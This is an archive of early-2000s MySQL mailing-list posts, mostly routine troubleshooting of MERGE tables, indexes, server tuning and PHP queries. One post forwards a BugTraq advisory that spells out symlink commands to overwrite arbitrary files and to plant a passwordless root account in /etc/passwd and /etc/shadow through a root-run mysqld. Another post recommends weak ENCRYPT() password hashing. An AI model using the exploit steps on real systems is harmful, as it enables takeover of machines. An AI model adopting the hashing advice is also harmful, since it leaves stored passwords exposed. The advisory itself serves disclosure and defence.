notice that it says that "the first two characters represent the salt
itself" when mentioning what constitutes the returned value.
So, given this, you can consistently re-encrypt a string to compare against
the original by taking the first two characters and using them as the salt.
The example below demonstrates this.
mysql> select encrypt('blahblah');
+-+
| encrypt('blahblah') |
+-+
| IIRggo.uD7.Xk |
+-+
1 row in set (0.00 sec)
mysql> select encrypt('blahblah', 'II');
+---+
| encrypt('blahblah', 'II') |
+---+
| IIRggo.uD7.Xk |
+---+
1 row in set (0.00 sec)
> I use
> encrypt to store password info in a database, but how do you compare the
> user entered password with the one in the database if the results vary
> the whole time? Please give me an application for this behaviour and I
> will be happy :-)
In your case, when comparing the password the user has entered against what
is in the database (an encrypted value) you first need to get the first two
characters of what is already in the database for that user. Something along
the lines of this should do the trick:
SELECT * FROM users_table WHERE username = 'johndoe' AND passwd =
ENCRYPT('secretpasswd', LEFT(passwd, 2));
Regards,
Basil Hussain
---
Internet Developer, Kodak Weddings
E-Mail: [EMAIL PROTECTED]
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: I'm after an mysql_info() example
Hi, > Using PHP4 and Mysql > > After reading the manual and doing vaious searchs around > the net, I'm damned if I can work out the syntax for > mysql_info(). I'm looking at the manual for PHP4 here and there is no such mysql_info() function! The only listed *_info() functions are: mysql_get_client_info() mysql_get_host_info() mysql_get_proto_info() mysql_get_server_info() I'm assuming you want info about the server you're connected to, but even given the functions above, this won't help much as all they return are version numbers (and are only present in PHP 4.0.5 and above). What you'll need to do is to issue an SQL query of "SHOW STATUS" and/or "SHOW VARIABLES" (depending on which pieces of info you require) and use the relevant records from the result set given back. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Corrupting Indexes! Why?
Hi all, I have recently upgraded my MySQL server to the latest version, 3.23.38 and, whether this is related or just a coincidence, a lot of heavily-used tables (mainly INSERT queries and a few SELECT queries via a containing MERGE table) in one of my databases have had their indexes corrupted. >From what I can figure out, according to the indexes, MySQL is thinking the tables all have less rows than they actually contain, so the auto-increment values aren't working properly and I get error messages telling me records can't be inserted because of duplicate keys! When I do a CHECK TABLE on a table suffering from errors, I get results like the following (edited for brevity): > clients is using or hasn't closed the table properly > Size of datafile is: 33197896 Should be: 33197612 > Found 116894 keys of 116893 > Corrupt where '' is generally a number between 0 and 3. And when I do REPAIR TABLE, I get the following (again, edited) output: > Number of rows changed from 116893 to 116894 > OK Can anyone offer any possible explanations for what has caused this corruption? I dearly hope it is not because of the upgrade to 3.23.38, as I need to use this version to correct a bug with MERGE tables! I attach the output from a CHECK TABLE command I ran on all the tables in this database that might be affected. I've also repaired all the tables I've spotted are corrupt so far, but I fear this may be a recurring problem. Any help or explanations are very gratefully accepted. Regards, ---- Basil Hussain ([EMAIL PROTECTED]) corrupt_banner_indexes.txt +--+---+--+-+ | Table| Op| Msg_type | Msg_text | | +--+---+--+-+ | banners.eventlog_11 | check | status | OK | | | banners.eventlog_13 | check | status | OK | | | banners.eventlog_14 | check | warning | 1 clients is using or hasn't closed the |table properly | | banners.eventlog_14 | check | status | OK | | | banners.eventlog_15 | check | status | OK | | | banners.eventlog_16 | check | status | OK | | | banners.eventlog_17 | check | status | OK | | | banners.eventlog_18 | check | status | OK | | | banners.eventlog_19 | check | status | OK | | | banners.eventlog_20 | check | status | OK | | | banners.eventlog_21 | check | warning | 2 clients is using or hasn't closed the |table properly | | banners.eventlog_21 | check | status | OK | | | banners.eventlog_22 | check | status | OK | | | banners.eventlog_23 | check | status | OK | | | banners.eventlog_24 | check | status | OK | | | banners.eventlog_25 | check | status | OK | | | banners.eventlog_26 | check | status | OK | | | banners.eventlog_27 | check | warning | 1 clients is using or hasn't closed the |table properly | | banners.eventlog_27 | check | status | OK | | | banners.eventlog_28 | check | status | OK | | | banners.eventlog_29 | check | status | OK | | | banners.eventlog_30 | check | status | OK | | | banners.eventlog_31 | check | status | OK | | | banners.eventlog_32 | check | status | OK | | | banners.eventlog_33 | check | status | OK | | | banners.eventlog_34 | check | status | OK | | | banners.eventlog_35 | check | status | OK | | | banners.eventlog_36 | check | warning | 2 clients is using or hasn't closed the |table properly | | banners.eventlog_36 | check | status | OK
Re: firewall
Hi, > can i use a (win) gui mysql client, if i have > a firewall installed between my intranet and > mysql server. how? You should have no trouble, so long as your firewall allows port 3306 through. Also, if your firewall performs Network Address Translation (NAT) then you'll need to make sure that the access privileges on your MySQL server allow you to connect from the IP of the firewall. Other than that, there is nothing else you need to do. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MERGE Tables
Hi, > Ok, the first bug (incorrect COUNT, etc. for MERGE and individual tables) > was fixed some time ago. Though, it is possible that you found another bug, > the probability is low. I thought I might be encountering actual bugs in the code in my 3.23.32 version. I'd taken a look at the changelog to see if any fixes seemed to apply to this situation, but it wasn't very clear. > As for the second - >ALTER TABLE ... UNION = () is absolutely legal syntax > and MySQL does support it (if you have source distribution, look at > mysql-test/t/merge.test). So, let's upgrade now, and then we'll see. I had no doubt it was supported - so I knew MySQL must've been lying when it said it didn't support that operation... :) I assume this has been fixed also in later versions, yes? So, it looks like I need to upgrade my server. I've just been looking at the changelog again and I notice there are some entries for 3.23.38 - is there a new release imminent? Should I wait for this, or just upgrade to 3.23.37 now? Regards, ---- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: show table status command in MySQL
Hi, > For show table status command in MySQL, which field is indicate the > table size? Or, Which command is to find out the database size. The 'Data_length' field in the SHOW TABLE STATUS output will tell you how big the data is (in bytes). Bear in mind this doesn't give the actual size taken up on disk, because you have your index file and table definition file too. I think the 'Index_length' field will tell you how big your indexes are too, though. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MERGE Tables
Hi, > Table handler for MERGE can use keys of underlying tables for > key lookups, but in fact it never will, as SQL optimizer will never ask > to. Specifying keys for MERGE table is for SQL optimizer to able to > chose the best way to execute your SELECTs. No real keys are created, > as MERGE handler ignores requests for key creation - but SQL optimizer > doesn't know about MERGE handler specific - and it shouldn't. > > So, please, specify the same keys for MERGE table, you specified > for underlying tables. I have been wondering about the use of indexes with MERGE tables. I came to the same conclusion as what you have just explained, but by trial and error. I would like to say that I think the section in the manual on MERGE tables could do with some improvement! Anyway, while we're on the subject, I seem to be having some trouble with my indexes on MERGE tables. I posted a message a while ago, but no-one seems to have noticed it... Basically, if I create my MERGE table with indexes on the same columns as the underlying tables, I then get strange results from some queries. Below I quote part of my original message that illustrates the problem. > mysql> select count(*) from eventlog_36; > +--+ > | count(*) | > +--+ > | 389959 | > +--+ > 1 row in set (0.00 sec) > > mysql> select count(*) from eventlog_all where bannerid = 36; > +--+ > | count(*) | > +--+ > |1 | > +--+ > 1 row in set (0.01 sec) > > (The table 'eventlog_36' is one of the tables mapped to 'eventlog_all' which > holds only records with a 'bannerid' column value of 36.) > > They don't match, so it's clearly not correct! It seems as though it's not > looking at the indexes of the mapped tables correctly, although I have no idea > why! Also, I get the following error when I try to alter the mapping of the MERGE table: > mysql> ALTER TABLE eventlog_all UNION=(eventlog_11, <..lots of tables...>, > eventlog_88); > ERROR 1031: Table handler for '#sql-1f1_ea6d9' doesn't have this option My MERGE table seems to be completely screwed! Could you explain what's going on here? Is it because I'm running only version 3.23.32 of MySQL? Do I need to upgrade? Any assistance would be appreciated, as no-one else seems to be able to help. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Unix_TimeStamp()
Hi, >> Does the function Unix_TimeStamp() work in MySQL under Windows NT? >> It doesn't seem to work here in simple queries, such as this query: >> Select Unix_TimeStamp(); > > What about > > SELECT UNIX_TIMESTAMP(NOW()) The above shouldn't be necessary - it is actually supposed to give you the current timestamp if called without arguments. According to the manual, anyway: "If called with no argument, returns a Unix timestamp..." So, if it's not working as documented under Windows, then I think this counts as a bug, yes? Regards, ---- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Error 1031 when altering merge table. Bug? (plus on-line manualcomment system broken)
Hi all, I'm having more merge table woes! I'm trying to alter a merge table to remap it without dropping and re-creating. This is what I get: mysql> ALTER TABLE eventlog_all UNION=(eventlog_11, <..lots of tables...>, eventlog_88); ERROR 1031: Table handler for '#sql-1f1_ea6d9' doesn't have this option At first, I thought I might need to add in "TYPE=MERGE" to the query, but that doesn't help. I think this might be a bug - could it be related to the "ALTER TABLE now remembers the old UNION() definition." bug & fix? I'm using version 3.23.32. Would an upgrade help? By the way, I noticed a syntax error in the one the examples in the manual concerning merge tables. It's in section 8.2. The bullet-point example reading: * Use ALTER TABLE table_name UNION(...) Should of course be: * Use ALTER TABLE table_name UNION=(...) Notice the equals sign between "UNION" and the accompanying brackets. I would've made a comment in the manual, but the new account registration seems to be broken - you just get an "Unknown column 'country_id' in 'field list'" SQL error. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
No results from query on merge table
Hi all, I recently had cause to drop and re-create a merge table that maps 80 or so tables (I'd added an index to all the tables whilst they were mapped, so causing me to get incorrect results. Duh!). However, upon re-creating it, I find that I'm now not getting any results back (or only one or two rows) from any queries I'm doing on the merge table that use indexes from the mapped tables. Queries on columns without an index give correct results. Below is an example that shows where it's going wrong: mysql> select count(*) from eventlog_36; +--+ | count(*) | +--+ | 389959 | +--+ 1 row in set (0.00 sec) mysql> select count(*) from eventlog_all where bannerid = 36; +--+ | count(*) | +--+ |1 | +--+ 1 row in set (0.01 sec) (The table 'eventlog_36' is one of the tables mapped to 'eventlog_all' which holds only records with a 'bannerid' column value of 36.) They don't match, so it's clearly not correct! It seems as though it's not looking at the indexes of the mapped tables correctly, although I have no idea why! If it helps, below is what I'm using to create the merge table. All the field and key declarations are exactly the same, apart from not declaring 'eventid' as a primary key like in the mapped tables (because there will be clashes otherwise). CREATE TABLE eventlog_all ( eventid int unsigned NOT NULL, bannerid int unsigned NOT NULL, impression datetime NOT NULL, click datetime, ipaddr int unsigned NOT NULL, browser char(255) NOT NULL, KEY (bannerid), KEY (impression) ) TYPE=MERGE UNION=(eventlog_11, <...many other tables...>, eventlog_81); Can anyone help me figure out what's going on here? Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Strange output from EXPLAIN SELECT - explanation needed!
Hi all, I was just fiddling around with some indexes on a table and decided to do an EXPLAIN for a query I was trying to optimize. I got a peculiar message output, and I'm not sure what it's trying to tell me! This is what I got: mysql> explain select min(impression), max(impression) from eventlog_81; +--+ | Comment | +--+ | Select tables optimized away | +--+ 1 row in set (0.00 sec) As you can see, it contains none of the usual information I was expecting. I tried looking up that message in the manual, but it isn't covered in the info on EXPLAIN. I reckon it might be saying that it figured out the answer to the query without having to look at the table (i.e. only consulting the index on the 'impression' column), but I'm not sure. Can anyone tell me what this message means? Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Merge Tables Oversight
Hi, >> I think I may have come up against a slight niggling omission concerning >> Merge tables. How does one find out what physical tables are mapped, other >> than by looking at the contents of the .MRG file? >> >> Surely this information should be displayed either when you do SHOW TABLE >> STATUS or by some other means? > > I never use SHOW TABLE STATUS, but you can use SHOW CREATE TABLE which > will give you the complete CREATE TABLE statement for the MERGE table. > This doesn't include the UNION part in MySQL 3.23.33, but I believe > this was fixed in MySQL 3.23.36 and later. I did think of SHOW CREATE TABLE, but it didn't turn up anything when I tried it - now I know why. I'm using only version 3.23.32. Do you know if this fix in 3.23.36 is only concerning the client utilities, or would I have to upgrade my server too? I still think the mapped tables should be shown in SHOW TABLE STATUS, though... Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Merge Tables Oversight
Hi all, I think I may have come up against a slight niggling omission concerning Merge tables. How does one find out what physical tables are mapped, other than by looking at the contents of the .MRG file? Surely this information should be displayed either when you do SHOW TABLE STATUS or by some other means? For example, I am currently using a Merge table to map 68 stats logging tables into one giant table (3.5 million rows!) so that overall averages, etc. can be calculated. As the mapping for this Merge table changes often, it would be handy for me to be able to check the current state of the mapping without leaving the MySQL client. I think a list of the mapped tables (or perhaps rather the UNION() statement) could be shown in the Create_options field of the SHOW TABLE STATUS output, as I would assume this is the appropriate place, yes? Maybe someone can tell me if there is any particular reason why this can't be shown, or is it just an oversight? Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: the quick and the dead...
Hi, > 35 Million keyword searches a day are done at the > Goolge site. > > My calculator tells me this is roughly 405 keyword > searches per SECOND. > > Not even considering any other database queries needed > to generate targeted ad placement on each page, etc > one is left with a haunting question: > > How is it all done so quickly? I once read an article in Linux Gazette where Sergey Brin (one of the founders of Google) mentioned they used over 6,000 Linux servers distributed across the USA: http://www.linuxgazette.com/issue59/correa.html Obviously, not all of these power the Google search engine itself, as they say they have more than 25,000 third-party sites using their services, but it indicates they're not short of computing power! They also use their own custom software. If you want to know more about how Google works, check this paper out: http://www7.scu.edu.au/programme/fullpapers/1921/com1921.htm Anyway, 405 queries per second is not so much if you have monster hardware. I seem to remember one of the MySQL developers mentioning one time that they had benchmarked a MySQL server at over 1,000 queries/sec. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Delete Again?
Hi,
> This is my full code
>
> $www_domain="select Failed_Signups.EmailAddress.Email from
> Failed_Signups.EmailAddress left join www_domain_net.Members on
> Failed_Signups.EmailAddress.Email=www_domain_net.Members.EmailAddress where
> www_domain_net.Members.EmailAddress is null";
> $www_domainRESULT=mysql_query($www_domain);
> $www_domain_rows=mysql_num_rows($www_domainRESULT);
>
> for ($a=0; $a<$www_domain_rows; $a++)
> {
> mysql_data_seek($www_domainRESULT, $a);
> $www_domain_Array = mysql_fetch_array($www_domainRESULT);
The above two lines are at odds with each other. You are telling PHP to
advance the pointer in the result set with mysql_data_seek(), but
mysql_fetch_array() also does this automatically. So, in effect, you are
getting every alternate row from your result set here. Get rid of the
mysql_data_seek() line - it's not necessary.
> printf("%s", $www_domain_Array['Email']);
> $inlist .= sprintf("\'%s\'",$www_domain_Array['Email']);
> }
>
> $query = mysql_db_query("Failed_Signups","DELETE FROM EmailAddress WHERE
> Email NOT IN (".$inlist.")");
I'm not surprised this doesn't work as expected. You are forming a list
($inlist) of e-mail addresses to put in the NOT IN expression, but you are
missing seperating them by commas. It needs to do this:
$inlist .= sprintf("\'%s\'", $www_domain_Array['Email']);
if($a < $www_domain_rows - 1) {
$inlist .= ", ";
}
This will seperate all of them by commas (missing, of course, the last one).
Hope this gets you going. Also, if you have any more queries about your
code, you'd be better off asking on the PHP mailing list, as this problem
really isn't much to do with MySQL itself.
Regards,
Basil Hussain ([EMAIL PROTECTED])
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Question about low priority deletes
Hi, There's something I'm not sure about with DELETE LOW_PRIORITY. It says in the manual that: "If you specify the keyword LOW_PRIORITY, execution of the DELETE is delayed until no other clients are reading from the table." What exactly does it mean by "no other clients are reading"? Does it mean that when you first issue the delete query that if other processes are reading from the table then it won't start until they have finished? I imagine this is the case, BUT, what if other processes want to read from the table once the delete has started - will the delete pause until the other processes have finished reading? What about other processes wanting to insert records too? The reason I ask this is that it's critical that I delete approximately 300,000 records from a 2 million record table, but whilst still letting other processes read from and (mainly) insert records in a timely manner. Can anyone offer a precise explanation of what DELETE LOW_PRIORITY facilitates? Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: importing data from FileMaker Pro to MySQL
Hi, > I have to import Datas From FileMaker Pro to MySQL . > > Unfortunately, the FileMaker web site is speaking about plugins to export > databases, but the access page gives error 500 (!). Plug-ins? You don't need any plug-ins to export data to MySQL. The only plug-in for Filemaker I've ever heard of concerning MySQL is one that allowed you to access MySQL data through Filemaker. > Then, I try this mailling list, and there is my question : > > is there any defined tool to import datas into MySQL Databases, that may also > read the FileMakerPro Format, or any standard CSV format ? MySQL will import data from CSV format quite happily, with no extras required. > I thought about developping something myself, in Perl (quite easy to use ...), > but there is also no Perl module avaliable for FileMaker ... I would be extremely surprised if there was! I think you're getting into extremely muddy waters here. What you're trying to do is very simple. Just open your Filemaker database, export the fields you want to a tab-seperated text file, transfer that file to your MySQL server (make sure you convert Mac line breaks to UNIX too) and import the file using the LOAD DATA statement in the MySQL command-line client. Regards, ---- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: tmp_disk_tables vs. tmp_tables
Hi, > We're are a little worried about the ratio of tmp_disk_tables to > tmp_tables. We are assuming the created_tmp_tables from `mysqladmin > extended-status` represents the total number of temporary tables created > and created_tmp_disk_tables from `mysqladmin extended-status` represents > the number of temporary tables that exceeded tmp_table_size, and > therefore had to be written to disk. Is this correct? If so, then the > smaller this ratio the better, correct? Well, common sense dicatates that in situations like this, having as many of your temporary tables as possible created in memory rather than on disk is better, because memory is always faster than any disk drive. > Over 80% of the temporary tables are being written to disk. This seem > WAY too high. Curious to find out what ratio others are seeing. On my fairly-used MySQL server, the ratio is at about 34%. I'd say 80% is indeed way too high. > If this is high, then what is a good way to lower it? Which variables > to bump up? Are some variables related/dependent on eachother? For > example, since most temp tables are created due to group by's and sort > by's, are one or more sort buffers used per temp table? If a query that > uses a temp table table runs out of sort buffer space, then is the temp > table automatically written to disk? Are buffers such as sort buffers > included in the space used for a temp table? The reason I ask is > because a 16M tmp_table_size seems to be plenty large considering the > size of the tables we are working with? There's only one variable that will affect this situation, which is tmp_table_size. I have mine currently set to 16Mb also. However, your usage may be the key here. Are your queries optimised and using indexes in the proper places? Not having queries use indexes is bound to result in temp tables being created all over the place. Also, maybe your server is running low on memory because of other processes? Perhaps you should take a look at all your most commonly used queries. Then, if all that seems okay, maybe you do need to bump up your tmp_table_size. > I've read the optimization chapter in the MySQL manual, but only some of > the configurable variables are described. Is there a resource that > describes ALL of these in better detail? Try looking at the documentation for the SHOW VARIABLES command, section 7.28.4: http://www.mysql.com/doc/S/H/SHOW_VARIABLES.html > We've overriden these variables for a machine with 512M memory: > > set-variable= key_buffer=128M > set-variable= table_cache=256 > set-variable= max_allowed_packet=1M > set-variable= max_connections=250 > set-variable= record_buffer=1M > set-variable= tmp_table_size=16M > set-variable= max_heap_table_size=32M > set-variable= sort_buffer=8M These look pretty sensible for 512Mb. You might want to increase the key_buffer size, if you're processing large amounts of records in your tables though (I'm talking about millions of records here, though). Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
FW: potential vulnerability of mysqld running with rootprivileges (can be used as good DoS or r00t expoloit)
Hi all,
The original message below was posted to the BugTraq mailing list. Have the
developers seen this? I know it talks about version mysql-3.20.32a (which is
ancient), but he mentions that it affects other versions.
Anyway, I don't run my MySQL server as root, so I'm not worried. :)
Regards,
--------
Basil Hussain ([EMAIL PROTECTED])
--
From: "Pavlov, Lesha" <[EMAIL PROTECTED]>
Organization: NN.ru
Reply-To: [EMAIL PROTECTED]
Date: Sun, 18 Mar 2001 21:32:37 +0300
To: [EMAIL PROTECTED]
Subject: potential vulnerability of mysqld running with root privileges (can
be used as good DoS or r00t expoloit)
Anybody, who get login and password to mysql can use it as DoS or r00t
exploit because mysql accepts '../blah-blah' as valid database name and
each table represented by 3 files tablename.ISD, tablename.ISM and
tablename.frm, But, when mysqld checks table already exists or not
exists, it checks _only_ tablename.frm :
Usage this "vulnerable features of mysql" to make big DoS (Will
Overwrite any file you wish):
$ cd /var/tmp
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table qqq(www int);
\q
$
File /some/file/you/wish/to/overwrite will be overwritten.
Usage as r00t exploit:
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:9:7:-1:-1:\n');
\q
$
You getta r00t now!
Recomendations:
* Patch mysql to when check table presents, it checks all
tablename.{ISD,ISM,frm} files, not only tablename.frm
* Patch mysql to treat database names, started by '..' as incorrect
database names.
* And Main recomendation - do not run mysqld as root!!!
Patches:
not yet
Workaround:
chowns existing database tables to a normal user and run mysqld as this
unprivileged user - it will be better solution!.
Vulnerable versions:
This DoS/exploit tested on mysql-3.20.32a but i see another versions of
mysql also vulnerabile.
Comments:
Mysql dox recomends dont run mysqld as root, but People from RedHat
didnt read mysql dox - mysql istalled from rpm is vulnerable.
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bug
Hi, > In using the application there is one feature I see missing. > > 1. Inability to execute multiple statements in sequence. If you are talking about the MySQL command-line client program, then you definitely can execute multiple statements at once, just by making sure you terminate each statement with ';', '\g' or '\G'. For example: mysql> select 1 + 1; select 2 + 2; +---+ | 1 + 1 | +---+ | 2 | +---+ 1 row in set (0.00 sec) +---+ | 2 + 2 | +---+ | 4 | +---+ 1 row in set (0.00 sec) You can even create a 'script' of SQL statments in a text file to be executed in sequence by the MySQL client program. Simply run MySQL like this: $ mysql -u username -p databasename < scriptfile.sql Or, you can run the 'script' from within the program by using the 'source' command. Type 'help' within the client for details on this and other handy commands. However, if you're talking about a third-party client application or about trying to do this from a PHP script (via the mysql_query() function) then I doubt it will be possible - definitely not possible in the case of PHP. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Get date from week number?
Hello all, I'm not quite sure how to work this out. I have two columns in a table that hold a week number (i.e. 1, 9, 52, etc.) and a year value (i.e. 2000, 2001, etc.). I need to get a date value for the first day of each week and it's associated year. For example, given week 8 in the year 2001, I need to get '2001-02-25'. There doesn't appear to be a MySQL function to accomplish this. I find it strange that a function can be provided to convert to weeks (or weeks and year) and not the other way round. I'd like to suggest that maybe this is something that could be worked on for forthcoming revisions of MySQL - making sure that all currently present date/time functions have an equal function for converting back to a date or time data type. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Tuning thread_cache_size variable
Hi all, I'm doing another bout of MySQL server tuning as the load on my server has nearly doubled due to recent projects, so I'm trying to squeeze some more performance out of it. Again, I'm looking at thread_cache_size, which I currently have set to 16. The manual says that "by examining the difference between Connections and Threads_created you can see how efficient the current thread cache is for you". I looked at the variables, and at that particular moment, they were at 44 and 67343 respectively. This works out that a new thread is being created roughly every 12 connections. This sounds bad to me, but is it really? I suppose the ideal figure would be zero new threads having to be created ever, as all new connections would use cached threads. So, I have a couple of questions that someone might be able to answer: * What is the definition of an efficient thread cache? * Should I be aiming to get my new threads per connections figure as low as possible? * What effect on memory usage would having a larger thread cache make? This is all on a RedHat Linux 6.2 server with 512Mb RAM and MySQL 3.23.32. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: turn of column headings
Hi, > i am a novice, so bear with this rather trivial question. > how do i turn off the column-headers for select statements in mysql?? > > couldn't find any help with the online manual. If you are talking about when using the MySQL command line client, then it's simple. You just need to start the client with a certain parameter. The '--skip-column-headers' argument (or something like it - I forget the exact name) should do what you want. Type 'mysql --help' for more exact information. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: yes/no
Hi,
> I am trying to insert this into my table but mysql doesn't like my syntax.
>
> alter table categoryminor solvalveyn enum('True','False');
You missed something from the query. It should be:
ALTER TABLE categoryminor ADD COLUMN solvalveyn ENUM('True', 'False');
^^
It helps if you tell MySQL that you want to add a column. :)
> When I press enter it does nothing it just goes to a greater than prompt.
You probably just forgot to terminate the line with a semi-colon (';') -
either that, or you mis-quoted the ENUM values and MySQL still thinks you're
in the string.
> What I want is for 1 to be true and 0 to be false.
In that case, you want:
ALTER TABLE categoryminor ADD COLUMN solvalveyn ENUM(1, 0);
However, if what you're thinking of is to have the field hold one or zero
and for it to be displayed as true/false, then you won't be able to do that.
MySQL will only return the actual value stored in the field - it doesn't
interpret anything for you. However, you could resort to some trickery with
IF() statements in the SELECT query to get this, but that could turn ugly.
Regards,
Basil Hussain ([EMAIL PROTECTED])
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: yes/no
